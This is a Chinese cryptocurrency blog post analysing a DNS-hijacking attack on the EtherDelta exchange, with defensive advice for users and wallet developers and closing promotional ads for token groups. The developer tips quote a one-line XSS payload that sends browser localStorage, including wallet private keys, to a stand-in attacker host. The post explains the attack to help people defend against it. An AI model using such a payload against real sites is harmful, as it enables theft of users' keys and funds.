去中心交易所就一定安全么?应对之策?

本文由币乎社区(bihu.com)内容支持计划奖励。

就在之前,胖哥写了一篇文章介绍了大多数的去中心化交易所《【胖哥说币】那些正在来袭的去中心化交易所》,里面介绍了去中心化交易所相对于中心化交易所的优势,一个最大的优点就是资产透明和安全。

不过就在本周,以太坊去中心化交易所以德就被黑客攻击了,为了防止朋友们资产收到威胁,我也在第一时间发了朋友圈提醒大家注意并暂停使用以德交易所。那么这篇文章就让我来介绍一下黑客是如何做的这次攻击以及我们应该如何应对可能会随时袭来的黑客攻击。

通过以德的twitter描述可以看到,这次攻击黑客其实是攻击了以德的DNS服务器,也就是我们通常所说的DNS劫持,这种攻击方式非常的恶劣,包括百度、巴西银行等知名的公司都曾经遭受过这种攻击。简单的讲DNS就是域名解析服务器,负责做域名和IP地址的映射。当遭受攻击时,你平时所输入的域名就会被映射到黑客的IP地址上,也就是访问了黑客网站,如果黑客别有用心的做了和原来真实网站相似的页面,那么用户在不知道的情况下就会把自己的用户名密码,甚至浏览器中的数据也会被泄漏,通俗讲就是被钓鱼了。

以德被攻击分析和应对之策

简单讲讲这次以德被攻击哪些用户可能受到影响

1.钓鱼用户输入私钥

以德有一种方式新建账号就是导入你已有的钱包地址和私钥,这样如果是黑客的钓鱼网站,那么你的资产就直接会被黑客转移了,所以建议大家使用以德时尽量不使用导入私钥的方式。推荐使用Metamask或者使用ledger硬件钱包方式去导入钱包,实在嫌麻烦的,也可以临时创建新的钱包地址,再把需要交易的资产转入这个新钱包,交易完再把资产转出来,不过这种方法慎用。

2. 脚本获取localsotrage上的私钥

由于是DNS劫持,也就是域名并没有变化,那么浏览器有一个叫做同源策略的概念,符合同源策略的浏览器缓存,如Cookies、localstorage、indexDB、websql数据都是可以通过脚本访问到的。也就是说黑客劫持了DNS服务器,用户访问黑客站点,黑客就可以通过脚本获取你原本的本地缓存数据。不过好在以德和大多数交易所网站都是使用https协议的,黑客站点并没有攻陷以德的https证书,只用了http。

幸运的是大多数主流浏览器如Chrome、Safari认为,http和https协议的区别是跨域的,并不符合同源策略,所以大多数用户没有太大的私钥泄漏问题,但是某些浏览器如IE8、IE9会忽略https和http之间的区别,所以使用这两个版本IE浏览器的用户,务必重新生成钱包转移资产。

对网页钱包和交易所开发者的忠告

现在层出不穷的有越来越多的项目,其实开发能力并不一定都过关,特别是安全性方面的。这里通过这次实践我总结了几点可能被忽略的攻击来分享给同行。

1. 全站使用https绝对必要。Https不仅杜绝了数据传输过程中给你的泄露,而且巧妙的杜绝了DNS劫持的同源策略的威胁

2. 特别注意xss攻击,由于在线钱包往往是把数据明文的形式存储在浏览器中,要十分注意是否会存在脚本注入的威胁,如果存在这些漏洞用户的私钥将很容易被发送给攻击者。一句window.location = 'http://黑客.com/'+ window.localStorage 就可以。

3. 最好使用一些本地加密方式和自签名方式来保存浏览器中的数据。加密方法需要每个用户都有差异,那么只有黑客完全控制了用户的电脑才可能发送泄漏,哪怕有xss漏洞也就失效了。

4. 一定要保存好你的域名解析账号,选择顶级的域名服务商,使用较为稳定的域名解析服务,必要时设置多重加密或者使用yubikey来加密。

浏览器保存数据大揭秘

这里满足一下大家的好奇心,看看浏览器里到底存了些什么东西,并不是说这样存储不安全,只是探索一下。

以德

胖哥通过研究发现以德如果使用导入私钥或者新建账号的方式创建的账号正是存储在localsotrage中的。下面演示一下:

1. 首先胖哥创建了一个钱包,地址和私钥如下。

2. 然后我打开Chrome开发者攻击,选择localstorage,私钥就明文存储在那里。

3. 更简单的,我使用一个脚本window.localStorage就可以拿到私钥信息

比特股

比特股就使用了更加实用和强大的websql,key也用了加密方式保存,在安全性上面做的比以德好一些。

Yoyow

类似于bts,因为同样出自石墨烯,但是其启用了private_keys这种表,把加密的密钥保存在了wallet表中。

下面列一些小广告,希望大家也参与进来:

币乎社区,是胖哥的一个好朋友咕噜正在从事的项目,将推出的一个币圈类似雪球和知乎的内容分享平台,咕噜在以太坊是教父级的人物,同时是以太坊中文白皮书的翻译者,项目非常靠谱,目前正在免费领取代币KEY。代币已上线以德交易,将可在明年2月份上线的应用中使用,胖哥也将会在币乎社区开设自己的专栏,传播币圈知识,到时候也希望大家捧场。领取代币,请回复“币乎”。

为了致力于区块链的推广,我参与了区块链翻译组的开源项目,有一群志同道合的小伙伴一起为着优秀项目的推广正做着努力,github地址为 https://github.com/BlockChainTranslator 。欢迎英文好,懂点技术的小伙伴们加入。回复“翻译”获得参与方式

胖哥的数字资产安全群已经建立超过三个月,期间教会了很多币圈小白如何去存币,转币,备份和使用安全的钱包以及硬件钱包,让很多小伙伴掌握了币圈的安全意识,还是那句话,“follow me,不丢币”。有兴趣的朋友们可以加入。回复“安全”获得参与方式

“佳能,感动常在”,这是一个最棒的EOS群,也许他也是币圈最棒的一个群。里面的每一个人都在独立的思考,表达着自己的观点,传递着无价的知识。只有通过他们的努力才能让这个社区更自治更完美。从上周起由于大量的朋友加入,我们提高了入群标准为5W个eos锁仓者,有志同道合的朋友来吧。回复“佳能”获得参与方式

“达尔文,交易全世界”,这是一个DEW持仓大户群,目前正在聚合5w+dew的朋友入群,该群的骨干都为佳能群的班底,每天都有精彩的干货产出,有价值的讨论是这个群的核心价值观,希望有兴趣的朋友 回复“达尔文”获得参与方式

OracleChain 欧链,是一个基于EOS的预言机项目,是大多数应用需要依赖的数据基础服务,团队有着很强的技术实力,也许这就是第一个EOS上部署的项目。胖哥也是其坚定支持者,建立了一个“欧链万币侯群”,只要拥有OCT数量大于1w就可以加入,回复“欧链”获得参与方式

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20171225G00Q0B00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。

扫码关注云+社区

领取腾讯云代金券